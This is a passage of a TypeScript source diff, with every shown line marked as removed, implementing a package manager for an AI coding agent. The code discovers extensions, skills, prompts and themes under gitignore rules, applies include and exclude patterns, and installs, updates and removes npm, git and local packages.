- "skills", - "prompts", - "themes", -]; - -const FILE_PATTERNS: Record = { - extensions: /\.(ts|js)$/, - skills: /\.md$/, - prompts: /\.md$/, - themes: /\.json$/, -}; - -const IGNORE_FILE_NAMES = [".gitignore", ".ignore", ".fdignore"]; - -type IgnoreMatcher = ReturnType; - -function prefixIgnorePattern(line: string, prefix: string): string | null { - const trimmed = line.trim(); - if (!trimmed) return null; - if (trimmed.startsWith("#") && !trimmed.startsWith("\\#")) return null; - - let pattern = line; - let negated = false; - - if (pattern.startsWith("!")) { - negated = true; - pattern = pattern.slice(1); - } else if (pattern.startsWith("\\!")) { - pattern = pattern.slice(1); - } - - if (pattern.startsWith("/")) { - pattern = pattern.slice(1); - } - - const prefixed = prefix ? `${prefix}${pattern}` : pattern; - return negated ? `!${prefixed}` : prefixed; -} - -function addIgnoreRules(ig: IgnoreMatcher, dir: string, rootDir: string): void { - const relativeDir = relative(rootDir, dir); - const prefix = relativeDir ? `${toPosixPath(relativeDir)}/` : ""; - - for (const filename of IGNORE_FILE_NAMES) { - const ignorePath = join(dir, filename); - if (!existsSync(ignorePath)) continue; - try { - const content = readFileSync(ignorePath, "utf-8"); - const patterns = content - .split(/\r?\n/) - .map((line) => prefixIgnorePattern(line, prefix)) - .filter((line): line is string => Boolean(line)); - if (patterns.length > 0) { - ig.add(patterns); - } - } catch { - // best-effort: ignore files may be inaccessible or malformed; skip silently - } - } -} - -function isPattern(s: string): boolean { - return ( - s.startsWith("!") || - s.startsWith("+") || - s.startsWith("-") || - s.includes("*") || - s.includes("?") - ); -} - -function splitPatterns(entries: string[]): { - plain: string[]; - patterns: string[]; -} { - const plain: string[] = []; - const patterns: string[] = []; - for (const entry of entries) { - if (isPattern(entry)) { - patterns.push(entry); - } else { - plain.push(entry); - } - } - return { plain, patterns }; -} - -function collectFiles( - dir: string, - filePattern: RegExp, - skipNodeModules = true, - ignoreMatcher?: IgnoreMatcher, - rootDir?: string, -): string[] { - const files: string[] = []; - if (!existsSync(dir)) return files; - - const root = rootDir ?? dir; - const ig = ignoreMatcher ?? ignore(); - addIgnoreRules(ig, dir, root); - - try { - const entries = readdirSync(dir, { withFileTypes: true }); - for (const entry of entries) { - if (entry.name.startsWith(".")) continue; - if (skipNodeModules && entry.name === "node_modules") continue; - - const fullPath = join(dir, entry.name); - let isDir = entry.isDirectory(); - let isFile = entry.isFile(); - - if (entry.isSymbolicLink()) { - try { - const stats = statSync(fullPath); - isDir = stats.isDirectory(); - isFile = stats.isFile(); - } catch { - continue; - } - } - - const relPath = toPosixPath(relative(root, fullPath)); - const ignorePath = isDir ? `${relPath}/` : relPath; - if (ig.ignores(ignorePath)) continue; - - if (isDir) { - files.push( - ...collectFiles(fullPath, filePattern, skipNodeModules, ig, root), - ); - } else if (isFile && filePattern.test(entry.name)) { - files.push(fullPath); - } - } - } catch { - // Ignore errors - } - - return files; -} - -function collectSkillEntries( - dir: string, - includeRootFiles = true, - ignoreMatcher?: IgnoreMatcher, - rootDir?: string, -): string[] { - const entries: string[] = []; - if (!existsSync(dir)) return entries; - - const root = rootDir ?? dir; - const ig = ignoreMatcher ?? ignore(); - addIgnoreRules(ig, dir, root); - - try { - const dirEntries = readdirSync(dir, { withFileTypes: true }); - for (const entry of dirEntries) { - if (entry.name.startsWith(".")) continue; - if (entry.name === "node_modules") continue; - - const fullPath = join(dir, entry.name); - let isDir = entry.isDirectory(); - let isFile = entry.isFile(); - - if (entry.isSymbolicLink()) { - try { - const stats = statSync(fullPath); - isDir = stats.isDirectory(); - isFile = stats.isFile(); - } catch { - continue; - } - } - - const relPath = toPosixPath(relative(root, fullPath)); - const ignorePath = isDir ? `${relPath}/` : relPath; - if (ig.ignores(ignorePath)) continue; - - if (isDir) { - entries.push(...collectSkillEntries(fullPath, false, ig, root)); - } else if (isFile) { - const isRootMd = includeRootFiles && entry.name.endsWith(".md"); - const isSkillMd = !includeRootFiles && entry.name === "SKILL.md"; - if (isRootMd || isSkillMd) { - entries.push(fullPath); - } - } - } - } catch { - // Ignore errors - } - - return entries; -} - -function collectAutoSkillEntries( - dir: string, - includeRootFiles = true, -): string[] { - return collectSkillEntries(dir, includeRootFiles); -} - -function findGitRepoRoot(startDir: string): string | null { - let dir = resolve(startDir); - while (true) { - if (existsSync(join(dir, ".git"))) { - return dir; - } - const parent = dirname(dir); - if (parent === dir) { - return null; - } - dir = parent; - } -} - -function collectAncestorAgentsSkillDirs(startDir: string): string[] { - const skillDirs: string[] = []; - const resolvedStartDir = resolve(startDir); - const gitRepoRoot = findGitRepoRoot(resolvedStartDir); - - let dir = resolvedStartDir; - while (true) { - skillDirs.push(join(dir, ".agents", "skills")); - skillDirs.push(join(dir, ".sf", "skills")); - skillDirs.push(join(dir, ".pi", "skills")); - if (gitRepoRoot && dir === gitRepoRoot) { - break; - } - const parent = dirname(dir); - if (parent === dir) { - break; - } - dir = parent; - } - - return skillDirs; -} - -function collectAutoPromptEntries(dir: string): string[] { - const entries: string[] = []; - if (!existsSync(dir)) return entries; - - const ig = ignore(); - addIgnoreRules(ig, dir, dir); - - try { - const dirEntries = readdirSync(dir, { withFileTypes: true }); - for (const entry of dirEntries) { - if (entry.name.startsWith(".")) continue; - if (entry.name === "node_modules") continue; - - const fullPath = join(dir, entry.name); - let isFile = entry.isFile(); - if (entry.isSymbolicLink()) { - try { - isFile = statSync(fullPath).isFile(); - } catch { - continue; - } - } - - const relPath = toPosixPath(relative(dir, fullPath)); - if (ig.ignores(relPath)) continue; - - if (isFile && entry.name.endsWith(".md")) { - entries.push(fullPath); - } - } - } catch { - // Ignore errors - } - - return entries; -} - -function collectAutoThemeEntries(dir: string): string[] { - const entries: string[] = []; - if (!existsSync(dir)) return entries; - - const ig = ignore(); - addIgnoreRules(ig, dir, dir); - - try { - const dirEntries = readdirSync(dir, { withFileTypes: true }); - for (const entry of dirEntries) { - if (entry.name.startsWith(".")) continue; - if (entry.name === "node_modules") continue; - - const fullPath = join(dir, entry.name); - let isFile = entry.isFile(); - if (entry.isSymbolicLink()) { - try { - isFile = statSync(fullPath).isFile(); - } catch { - continue; - } - } - - const relPath = toPosixPath(relative(dir, fullPath)); - if (ig.ignores(relPath)) continue; - - if (isFile && entry.name.endsWith(".json")) { - entries.push(fullPath); - } - } - } catch { - // Ignore errors - } - - return entries; -} - -function readPiManifestFile(packageJsonPath: string): PiManifest | null { - try { - const content = readFileSync(packageJsonPath, "utf-8"); - const pkg = JSON.parse(content) as { pi?: PiManifest }; - return pkg.pi ?? null; - } catch { - return null; - } -} - -function resolveExtensionEntries(dir: string): string[] | null { - const packageJsonPath = join(dir, "package.json"); - if (existsSync(packageJsonPath)) { - const manifest = readPiManifestFile(packageJsonPath); - if (manifest) { - // When a pi manifest exists, it is authoritative — don't fall through - // to index.ts/index.js auto-detection. This allows library directories - // (like cmux) to opt out by declaring "pi": {} with no extensions. - if (!manifest.extensions?.length) { - return null; - } - const entries: string[] = []; - for (const extPath of manifest.extensions) { - const resolvedExtPath = resolve(dir, extPath); - if (existsSync(resolvedExtPath)) { - entries.push(resolvedExtPath); - } - } - return entries.length > 0 ? entries : null; - } - } - - const indexTs = join(dir, "index.ts"); - const indexJs = join(dir, "index.js"); - if (existsSync(indexTs)) { - return [indexTs]; - } - if (existsSync(indexJs)) { - return [indexJs]; - } - - return null; -} - -function collectAutoExtensionEntries(dir: string): string[] { - const entries: string[] = []; - if (!existsSync(dir)) return entries; - - // First check if this directory itself has explicit extension entries (package.json or index) - const rootEntries = resolveExtensionEntries(dir); - if (rootEntries) { - return rootEntries; - } - - // Otherwise, discover extensions from directory contents - const ig = ignore(); - addIgnoreRules(ig, dir, dir); - - try { - const dirEntries = readdirSync(dir, { withFileTypes: true }); - for (const entry of dirEntries) { - if (entry.name.startsWith(".")) continue; - if (entry.name === "node_modules") continue; - - const fullPath = join(dir, entry.name); - let isDir = entry.isDirectory(); - let isFile = entry.isFile(); - - if (entry.isSymbolicLink()) { - try { - const stats = statSync(fullPath); - isDir = stats.isDirectory(); - isFile = stats.isFile(); - } catch { - continue; - } - } - - const relPath = toPosixPath(relative(dir, fullPath)); - const ignorePath = isDir ? `${relPath}/` : relPath; - if (ig.ignores(ignorePath)) continue; - - if ( - isFile && - (entry.name.endsWith(".ts") || entry.name.endsWith(".js")) - ) { - entries.push(fullPath); - } else if (isDir) { - const resolvedEntries = resolveExtensionEntries(fullPath); - if (resolvedEntries) { - entries.push(...resolvedEntries); - } - } - } - } catch { - // Ignore errors - } - - return entries; -} - -/** - * Collect resource files from a directory based on resource type. - * Extensions use smart discovery (index.ts in subdirs), others use recursive collection. - */ -function collectResourceFiles( - dir: string, - resourceType: ResourceType, -): string[] { - if (resourceType === "skills") { - return collectSkillEntries(dir); - } - if (resourceType === "extensions") { - return collectAutoExtensionEntries(dir); - } - return collectFiles(dir, FILE_PATTERNS[resourceType]); -} - -function matchesAnyPattern( - filePath: string, - patterns: string[], - baseDir: string, -): boolean { - const rel = relative(baseDir, filePath); - const name = basename(filePath); - const isSkillFile = name === "SKILL.md"; - const parentDir = isSkillFile ? dirname(filePath) : undefined; - const parentRel = isSkillFile ? relative(baseDir, parentDir!) : undefined; - const parentName = isSkillFile ? basename(parentDir!) : undefined; - - return patterns.some((pattern) => { - if ( - minimatch(rel, pattern) || - minimatch(name, pattern) || - minimatch(filePath, pattern) - ) { - return true; - } - if (!isSkillFile) return false; - return ( - minimatch(parentRel!, pattern) || - minimatch(parentName!, pattern) || - minimatch(parentDir!, pattern) - ); - }); -} - -function normalizeExactPattern(pattern: string): string { - if (pattern.startsWith("./") || pattern.startsWith(".\\")) { - return pattern.slice(2); - } - return pattern; -} - -function matchesAnyExactPattern( - filePath: string, - patterns: string[], - baseDir: string, -): boolean { - if (patterns.length === 0) return false; - const rel = relative(baseDir, filePath); - const name = basename(filePath); - const isSkillFile = name === "SKILL.md"; - const parentDir = isSkillFile ? dirname(filePath) : undefined; - const parentRel = isSkillFile ? relative(baseDir, parentDir!) : undefined; - - return patterns.some((pattern) => { - const normalized = normalizeExactPattern(pattern); - if (normalized === rel || normalized === filePath) { - return true; - } - if (!isSkillFile) return false; - return normalized === parentRel || normalized === parentDir; - }); -} - -function getOverridePatterns(entries: string[]): string[] { - return entries.filter( - (pattern) => - pattern.startsWith("!") || - pattern.startsWith("+") || - pattern.startsWith("-"), - ); -} - -function isEnabledByOverrides( - filePath: string, - patterns: string[], - baseDir: string, -): boolean { - const overrides = getOverridePatterns(patterns); - const excludes = overrides - .filter((pattern) => pattern.startsWith("!")) - .map((pattern) => pattern.slice(1)); - const forceIncludes = overrides - .filter((pattern) => pattern.startsWith("+")) - .map((pattern) => pattern.slice(1)); - const forceExcludes = overrides - .filter((pattern) => pattern.startsWith("-")) - .map((pattern) => pattern.slice(1)); - - let enabled = true; - if (excludes.length > 0 && matchesAnyPattern(filePath, excludes, baseDir)) { - enabled = false; - } - if ( - forceIncludes.length > 0 && - matchesAnyExactPattern(filePath, forceIncludes, baseDir) - ) { - enabled = true; - } - if ( - forceExcludes.length > 0 && - matchesAnyExactPattern(filePath, forceExcludes, baseDir) - ) { - enabled = false; - } - return enabled; -} - -/** - * Apply patterns to paths and return a Set of enabled paths. - * Pattern types: - * - Plain patterns: include matching paths - * - `!pattern`: exclude matching paths - * - `+path`: force-include exact path (overrides exclusions) - * - `-path`: force-exclude exact path (overrides force-includes) - */ -function applyPatterns( - allPaths: string[], - patterns: string[], - baseDir: string, -): Set { - const includes: string[] = []; - const excludes: string[] = []; - const forceIncludes: string[] = []; - const forceExcludes: string[] = []; - - for (const p of patterns) { - if (p.startsWith("+")) { - forceIncludes.push(p.slice(1)); - } else if (p.startsWith("-")) { - forceExcludes.push(p.slice(1)); - } else if (p.startsWith("!")) { - excludes.push(p.slice(1)); - } else { - includes.push(p); - } - } - - // Step 1: Apply includes (or all if no includes) - let result: string[]; - if (includes.length === 0) { - result = [...allPaths]; - } else { - result = allPaths.filter((filePath) => - matchesAnyPattern(filePath, includes, baseDir), - ); - } - - // Step 2: Apply excludes - if (excludes.length > 0) { - result = result.filter( - (filePath) => !matchesAnyPattern(filePath, excludes, baseDir), - ); - } - - // Step 3: Force-include (add back from allPaths, overriding exclusions) - if (forceIncludes.length > 0) { - for (const filePath of allPaths) { - if ( - !result.includes(filePath) && - matchesAnyExactPattern(filePath, forceIncludes, baseDir) - ) { - result.push(filePath); - } - } - } - - // Step 4: Force-exclude (remove even if included or force-included) - if (forceExcludes.length > 0) { - result = result.filter( - (filePath) => !matchesAnyExactPattern(filePath, forceExcludes, baseDir), - ); - } - - return new Set(result); -} - -export class DefaultPackageManager implements PackageManager { - private cwd: string; - private agentDir: string; - private settingsManager: SettingsManager; - private globalNpmRoot: string | undefined; - private progressCallback: ProgressCallback | undefined; - - constructor(options: PackageManagerOptions) { - this.cwd = options.cwd; - this.agentDir = options.agentDir; - this.settingsManager = options.settingsManager; - } - - setProgressCallback(callback: ProgressCallback | undefined): void { - this.progressCallback = callback; - } - - addSourceToSettings(source: string, options?: { local?: boolean }): boolean { - const scope: SourceScope = options?.local ? "project" : "user"; - const currentSettings = - scope === "project" - ? this.settingsManager.getProjectSettings() - : this.settingsManager.getGlobalSettings(); - const currentPackages = currentSettings.packages ?? []; - const normalizedSource = this.normalizePackageSourceForSettings( - source, - scope, - ); - const exists = currentPackages.some((existing) => - this.packageSourcesMatch(existing, source, scope), - ); - if (exists) { - return false; - } - const nextPackages = [...currentPackages, normalizedSource]; - if (scope === "project") { - this.settingsManager.setProjectPackages(nextPackages); - } else { - this.settingsManager.setPackages(nextPackages); - } - return true; - } - - removeSourceFromSettings( - source: string, - options?: { local?: boolean }, - ): boolean { - const scope: SourceScope = options?.local ? "project" : "user"; - const currentSettings = - scope === "project" - ? this.settingsManager.getProjectSettings() - : this.settingsManager.getGlobalSettings(); - const currentPackages = currentSettings.packages ?? []; - const nextPackages = currentPackages.filter( - (existing) => !this.packageSourcesMatch(existing, source, scope), - ); - const changed = nextPackages.length !== currentPackages.length; - if (!changed) { - return false; - } - if (scope === "project") { - this.settingsManager.setProjectPackages(nextPackages); - } else { - this.settingsManager.setPackages(nextPackages); - } - return true; - } - - getInstalledPath( - source: string, - scope: "user" | "project", - ): string | undefined { - const parsed = this.parseSource(source); - if (parsed.type === "npm") { - const path = this.getNpmInstallPath(parsed, scope); - return existsSync(path) ? path : undefined; - } - if (parsed.type === "git") { - const path = this.getGitInstallPath(parsed, scope); - return existsSync(path) ? path : undefined; - } - if (parsed.type === "local") { - const baseDir = this.getBaseDirForScope(scope); - const path = this.resolvePathFromBase(parsed.path, baseDir); - return existsSync(path) ? path : undefined; - } - return undefined; - } - - private emitProgress(event: ProgressEvent): void { - this.progressCallback?.(event); - } - - private async withProgress( - action: ProgressEvent["action"], - source: string, - message: string, - operation: () => Promise, - ): Promise { - this.emitProgress({ type: "start", action, source, message }); - try { - await operation(); - this.emitProgress({ type: "complete", action, source }); - } catch (error) { - const errorMessage = - error instanceof Error ? error.message : String(error); - this.emitProgress({ - type: "error", - action, - source, - message: errorMessage, - }); - throw error; - } - } - - async resolve( - onMissing?: (source: string) => Promise, - ): Promise { - const accumulator = this.createAccumulator(); - const globalSettings = this.settingsManager.getGlobalSettings(); - const projectSettings = this.settingsManager.getProjectSettings(); - - // Collect all packages with scope (project first so cwd resources win collisions) - const allPackages: Array<{ pkg: PackageSource; scope: SourceScope }> = []; - for (const pkg of projectSettings.packages ?? []) { - allPackages.push({ pkg, scope: "project" }); - } - for (const pkg of globalSettings.packages ?? []) { - allPackages.push({ pkg, scope: "user" }); - } - - // Dedupe: project scope wins over global for same package identity - const packageSources = this.dedupePackages(allPackages); - await this.resolvePackageSources(packageSources, accumulator, onMissing); - - const globalBaseDir = this.agentDir; - const projectBaseDir = join(this.cwd, CONFIG_DIR_NAME); - - for (const resourceType of RESOURCE_TYPES) { - const target = this.getTargetMap(accumulator, resourceType); - const globalEntries = (globalSettings[resourceType] ?? []) as string[]; - const projectEntries = (projectSettings[resourceType] ?? []) as string[]; - this.resolveLocalEntries( - projectEntries, - resourceType, - target, - { - source: "local", - scope: "project", - origin: "top-level", - }, - projectBaseDir, - ); - this.resolveLocalEntries( - globalEntries, - resourceType, - target, - { - source: "local", - scope: "user", - origin: "top-level", - }, - globalBaseDir, - ); - } - - this.addAutoDiscoveredResources( - accumulator, - globalSettings, - projectSettings, - globalBaseDir, - projectBaseDir, - ); - - return this.toResolvedPaths(accumulator); - } - - async resolveExtensionSources( - sources: string[], - options?: { local?: boolean; temporary?: boolean }, - ): Promise { - const accumulator = this.createAccumulator(); - const scope: SourceScope = options?.temporary - ? "temporary" - : options?.local - ? "project" - : "user"; - const packageSources = sources.map((source) => ({ - pkg: source as PackageSource, - scope, - })); - await this.resolvePackageSources(packageSources, accumulator); - return this.toResolvedPaths(accumulator); - } - - async install(source: string, options?: { local?: boolean }): Promise { - const parsed = this.parseSource(source); - const scope: SourceScope = options?.local ? "project" : "user"; - await this.withProgress( - "install", - source, - `Installing ${source}...`, - async () => { - if (parsed.type === "npm") { - await this.installNpm(parsed, scope, false); - return; - } - if (parsed.type === "git") { - await this.installGit(parsed, scope); - return; - } - if (parsed.type === "local") { - const resolved = this.resolvePath(parsed.path); - if (!existsSync(resolved)) { - throw new Error(`Path does not exist: ${resolved}`); - } - return; - } - throw new Error(`Unsupported install source: ${source}`); - }, - ); - } - - async remove(source: string, options?: { local?: boolean }): Promise { - const parsed = this.parseSource(source); - const scope: SourceScope = options?.local ? "project" : "user"; - await this.withProgress( - "remove", - source, - `Removing ${source}...`, - async () => { - if (parsed.type === "npm") { - await this.uninstallNpm(parsed, scope); - return; - } - if (parsed.type === "git") { - await this.removeGit(parsed, scope); - return; - } - if (parsed.type === "local") { - return; - } - throw new Error(`Unsupported remove source: ${source}`); - }, - ); - } - - async update(source?: string): Promise { - const globalSettings = this.settingsManager.getGlobalSettings(); - const projectSettings = this.settingsManager.getProjectSettings(); - const identity = source ? this.getPackageIdentity(source) : undefined; - - for (const pkg of globalSettings.packages ?? []) { - const sourceStr = typeof pkg === "string" ? pkg : pkg.source; - if (identity && this.getPackageIdentity(sourceStr, "user") !== identity) - continue; - await this.updateSourceForScope(sourceStr, "user"); - } - for (const pkg of projectSettings.packages ?? []) { - const sourceStr = typeof pkg === "string" ? pkg : pkg.source; - if ( - identity && - this.getPackageIdentity(sourceStr, "project") !== identity - ) - continue; - await this.updateSourceForScope(sourceStr, "project"); - } - } - - private async updateSourceForScope( - source: string, - scope: SourceScope, - ): Promise { - if (isOfflineModeEnabled()) { - return; - } - const parsed = this.parseSource(source); - if (parsed.type === "npm") { - if (parsed.pinned) return; - await this.withProgress( - "update", - source, - `Updating ${source}...`, - async () => { - await this.installNpm(parsed, scope, false); - }, - ); - return; - } - if (parsed.type === "git") { - if (parsed.pinned) return; - await this.withProgress( - "update", - source, - `Updating ${source}...`, - async () => { - await this.updateGit(parsed, scope); - }, - ); - return; - } - } - - private async resolvePackageSources( - sources: Array<{ pkg: PackageSource; scope: SourceScope }>, - accumulator: ResourceAccumulator, - onMissing?: (source: string) => Promise, - ): Promise { - for (const { pkg, scope } of sources) { - const sourceStr = typeof pkg === "string" ? pkg : pkg.source; - const filter = typeof pkg === "object" ? pkg : undefined; - const parsed = this.parseSource(sourceStr); - const metadata: PathMetadata = { - source: sourceStr, - scope, - origin: "package", - }; - - if (parsed.type === "local") { - const baseDir = this.getBaseDirForScope(scope); - this.resolveLocalExtensionSource( - parsed, - accumulator, - filter, - metadata, - baseDir, - ); - continue; - } - - const installMissing = async (): Promise => { - if (isOfflineModeEnabled()) { - return false; - } - if (!onMissing) { - await this.installParsedSource(parsed, scope); - return true; - } - const action = await onMissing(sourceStr); - if (action === "skip") return false; - if (action === "error") throw new Error(`Missing source: ${sourceStr}`); - await this.installParsedSource(parsed, scope); - return true; - }; - - if (parsed.type === "npm") { - const installedPath = this.getNpmInstallPath(parsed, scope); - const needsInstall = - !existsSync(installedPath) || - (await this.npmNeedsUpdate(parsed, installedPath)); - if (needsInstall) { - const installed = await installMissing(); - if (!installed) continue; - } - metadata.baseDir = installedPath; - this.collectPackageResources( - installedPath, - accumulator, - filter, - metadata, - ); - continue; - } - - if (parsed.type === "git") { - const installedPath = this.getGitInstallPath(parsed, scope); - if (!existsSync(installedPath)) { - const installed = await installMissing(); - if (!installed) continue; - } else if ( - scope === "temporary" && - !parsed.pinned && - !isOfflineModeEnabled() - ) { - await this.refreshTemporaryGitSource(parsed, sourceStr); - } - metadata.baseDir = installedPath; - this.collectPackageResources( - installedPath, - accumulator, - filter, - metadata, - ); - } - } - } - - private resolveLocalExtensionSource( - source: LocalSource, - accumulator: ResourceAccumulator, - filter: PackageFilter | undefined, - metadata: PathMetadata, - baseDir: string, - ): void { - const resolved = this.resolvePathFromBase(source.path, baseDir); - if (!existsSync(resolved)) { - return; - } - - try { - const stats = statSync(resolved); - if (stats.isFile()) { - metadata.baseDir = dirname(resolved); - this.addResource(accumulator.extensions, resolved, metadata, true); - return; - } - if (stats.isDirectory()) { - metadata.baseDir = resolved; - const resources = this.collectPackageResources( - resolved, - accumulator, - filter, - metadata, - ); - if (!resources) { - this.addResource(accumulator.extensions, resolved, metadata, true); - } - } - } catch { - return; - } - } - - private async installParsedSource( - parsed: ParsedSource, - scope: SourceScope, - ): Promise { - if (parsed.type === "npm") { - await this.installNpm(parsed, scope, scope === "temporary"); - return; - } - if (parsed.type === "git") { - await this.installGit(parsed, scope); - return; - } - } - - private getPackageSourceString(pkg: PackageSource): string { - return typeof pkg === "string" ? pkg : pkg.source; - } - - private getSourceMatchKeyForInput(source: string): string { - const parsed = this.parseSource(source); - if (parsed.type === "npm") { - return `npm:${parsed.name}`; - } - if (parsed.type === "git") { - return `git:${parsed.host}/${parsed.path}`; - } - return `local:${this.resolvePath(parsed.path)}`; - } - - private getSourceMatchKeyForSettings( - source: string, - scope: SourceScope, - ): string { - const parsed = this.parseSource(source); - if (parsed.type === "npm") { - return `npm:${parsed.name}`; - } - if (parsed.type === "git") { - return `git:${parsed.host}/${parsed.path}`; - } - const baseDir = this.getBaseDirForScope(scope); - return `local:${this.resolvePathFromBase(parsed.path, baseDir)}`; - } - - private packageSourcesMatch( - existing: PackageSource, - inputSource: string, - scope: SourceScope, - ): boolean { - const left = this.getSourceMatchKeyForSettings( - this.getPackageSourceString(existing), - scope, - ); - const right = this.getSourceMatchKeyForInput(inputSource); - return left === right; - } - - private normalizePackageSourceForSettings( - source: string, - scope: SourceScope, - ): string { - const parsed = this.parseSource(source); - if (parsed.type !== "local") { - return source; - } - const baseDir = this.getBaseDirForScope(scope); - const resolved = this.resolvePath(parsed.path); - const rel = relative(baseDir, resolved); - return rel || "."; - } - - private parseSource(source: string): ParsedSource { - if (source.startsWith("npm:")) { - const spec = source.slice("npm:".length).trim(); - const { name, version } = this.parseNpmSpec(spec); - return { - type: "npm", - spec, - name, - pinned: Boolean(version), - }; - } - - const trimmed = source.trim(); - const isWindowsAbsolutePath = /^[A-Za-z]:[\\/]|^\\\\/.test(trimmed); - const isLocalPathLike = - trimmed.startsWith(".") || - trimmed.startsWith("/") || - trimmed === "~" || - trimmed.startsWith("~/") || - isWindowsAbsolutePath; - if (isLocalPathLike) { - return { type: "local", path: source }; - } - - // Try parsing as git URL - const gitParsed = parseGitUrl(source); - if (gitParsed) { - return gitParsed; - } - - return { type: "local", path: source }; - } - - /** - * Check if an npm package needs to be updated. - * - For unpinned packages: check if registry has a newer version - * - For pinned packages: check if installed version matches the pinned version - */ - private async npmNeedsUpdate( - source: NpmSource, - installedPath: string, - ): Promise { - if (isOfflineModeEnabled()) { - return false; - } - - const installedVersion = this.getInstalledNpmVersion(installedPath); - if (!installedVersion) return true; - - const { version: pinnedVersion } = this.parseNpmSpec(source.spec); - if (pinnedVersion) { - // Pinned: check if installed matches pinned (exact match for now) - return installedVersion !== pinnedVersion; - } - - // Unpinned: check registry for latest version - try { - const latestVersion = await this.getLatestNpmVersion(source.name); - return latestVersion !== installedVersion; - } catch { - // If we can't check registry, assume it's fine - return false; - } - } - - private getInstalledNpmVersion(installedPath: string): string | undefined { - const packageJsonPath = join(installedPath, "package.json"); - if (!existsSync(packageJsonPath)) return undefined; - try { - const content = readFileSync(packageJsonPath, "utf-8"); - const pkg = JSON.parse(content) as { version?: string }; - return pkg.version; - } catch { - return undefined; - } - } - - private async getLatestNpmVersion(packageName: string): Promise { - const response = await fetch( - `https://registry.npmjs.org/${packageName}/latest`, - { - signal: AbortSignal.timeout(NETWORK_TIMEOUT_MS), - }, - ); - if (!response.ok) - throw new Error(`Failed to fetch npm registry: ${response.status}`); - const data = (await response.json()) as { version: string }; - return data.version; - } - - /** - * Get a unique identity for a package, ignoring version/ref. - * Used to detect when the same package is in both global and project settings. - * For git packages, uses normalized host/path to ensure SSH and HTTPS URLs - * for the same repository are treated as identical. - */ - private getPackageIdentity(source: string, scope?: SourceScope): string { - const parsed = this.parseSource(source); - if (parsed.type === "npm") { - return `npm:${parsed.name}`; - } - if (parsed.type === "git") { - // Use host/path for identity to normalize SSH and HTTPS - return `git:${parsed.host}/${parsed.path}`; - } - if (scope) { - const baseDir = this.getBaseDirForScope(scope); - return `local:${this.resolvePathFromBase(parsed.path, baseDir)}`; - } - return `local:${this.resolvePath(parsed.path)}`; - } - - /** - * Dedupe packages: if same package identity appears in both global and project, - * keep only the project one (project wins). - */ - private dedupePackages( - packages: Array<{ pkg: PackageSource; scope: SourceScope }>, - ): Array<{ pkg: PackageSource; scope: SourceScope }> { - const seen = new Map(); - - for (const entry of packages) { - const sourceStr = - typeof entry.pkg === "string" ? entry.pkg : entry.pkg.source; - const identity = this.getPackageIdentity(sourceStr, entry.scope); - - const existing = seen.get(identity); - if (!existing) { - seen.set(identity, entry); - } else if (entry.scope === "project" && existing.scope === "user") { - // Project wins over user - seen.set(identity, entry); - } - // If existing is project and new is global, keep existing (project) - // If both are same scope, keep first one - } - - return Array.from(seen.values()); - } - - private parseNpmSpec(spec: string): { name: string; version?: string } { - const match = spec.match(/^(@?[^@]+(?:\/[^@]+)?)(?:@(.+))?$/); - if (!match) { - return { name: spec }; - } - const name = match[1] ?? spec; - const version = match[2]; - return { name, version }; - } - - private async installNpm( - source: NpmSource, - scope: SourceScope, - temporary: boolean, - ): Promise { - if (scope === "user" && !temporary) { - await this.runCommand("npm", ["install", "-g", source.spec]); - return; - } - const installRoot = this.getNpmInstallRoot(scope, temporary); - this.ensureNpmProject(installRoot); - await this.runCommand("npm", [ - "install", - source.spec, - "--prefix", - installRoot, - ]); - } - - private async uninstallNpm( - source: NpmSource, - scope: SourceScope, - ): Promise { - if (scope === "user") { - await this.runCommand("npm", ["uninstall", "-g", source.name]); - return; - } - const installRoot = this.getNpmInstallRoot(scope, false); - if (!existsSync(installRoot)) { - return; - } - await this.runCommand("npm", [ - "uninstall", - source.name, - "--prefix", - installRoot, - ]); - } - - private async installGit( - source: GitSource, - scope: SourceScope, - ): Promise { - const targetDir = this.getGitInstallPath(source, scope); - if (existsSync(targetDir)) { - return; - } - const gitRoot = this.getGitInstallRoot(scope); - if (gitRoot) { - this.ensureGitIgnore(gitRoot); - } - mkdirSync(dirname(targetDir), { recursive: true }); - - await this.runCommand("git", ["clone", source.repo, targetDir]); - if (source.ref) { - await this.runCommand("git", ["checkout", source.ref], { - cwd: targetDir, - }); - } - const packageJsonPath = join(targetDir, "package.json"); - if (existsSync(packageJsonPath)) { - await this.runCommand("npm", ["install"], { cwd: targetDir }); - } - } - - private async updateGit( - source: GitSource, - scope: SourceScope, - ): Promise { - const targetDir = this.getGitInstallPath(source, scope); - if (!existsSync(targetDir)) { - await this.installGit(source, scope); - return; - } - - // Fetch latest from remote (handles force-push by getting new history) - await this.runCommand("git", ["fetch", "--prune", "origin"], { - cwd: targetDir, - }); - - // Reset to tracking branch. Fall back to origin/HEAD when no upstream is configured. - try { - await this.runCommand("git", ["reset", "--hard", "@{upstream}"], { - cwd: targetDir, - }); - } catch { - await this.runCommand("git", ["remote", "set-head", "origin", "-a"], { - cwd: targetDir, - }).catch(() => {}); - await this.runCommand("git", ["reset", "--hard", "origin/HEAD"], { - cwd: targetDir, - }); - } - - // Clean untracked files (extensions should be pristine) - await this.runCommand("git", ["clean", "-fdx"], { cwd: targetDir }); - - const packageJsonPath = join(targetDir, "package.json"); - if (existsSync(packageJsonPath)) { - await this.runCommand("npm", ["install"], { cwd: targetDir }); - } - } - - private async refreshTemporaryGitSource( - source: GitSource, - sourceStr: string, - ): Promise { - if (isOfflineModeEnabled()) { - return; - } - try { - await this.withProgress( - "pull", - sourceStr, - `Refreshing ${sourceStr}...`, - async () => { - await this.updateGit(source, "temporary"); - }, - ); - } catch { - // Keep cached temporary checkout if refresh fails. - } - } - - private async removeGit( - source: GitSource, - scope: SourceScope, - ): Promise { - const targetDir = this.getGitInstallPath(source, scope); - if (!existsSync(targetDir)) return; - rmSync(targetDir, { recursive: true, force: true }); - this.pruneEmptyGitParents(targetDir, this.getGitInstallRoot(scope)); - } - - private pruneEmptyGitParents( - targetDir: string, - installRoot: string | undefined, - ): void { - if (!installRoot) return; - const resolvedRoot = resolve(installRoot); - let current = dirname(targetDir); - while (current.startsWith(resolvedRoot) && current !== resolvedRoot) { - if (!existsSync(current)) { - current = dirname(current); - continue; - } - const entries = readdirSync(current); - if (entries.length > 0) { - break; - } - try { - rmSync(current, { recursive: true, force: true }); - } catch { - break; - } - current = dirname(current); - } - } - - private ensureNpmProject(installRoot: string): void { - if (!existsSync(installRoot)) { - mkdirSync(installRoot, { recursive: true }); - } - this.ensureGitIgnore(installRoot); - const packageJsonPath = join(installRoot, "package.json"); - if (!existsSync(packageJsonPath)) { - const pkgJson = { name: 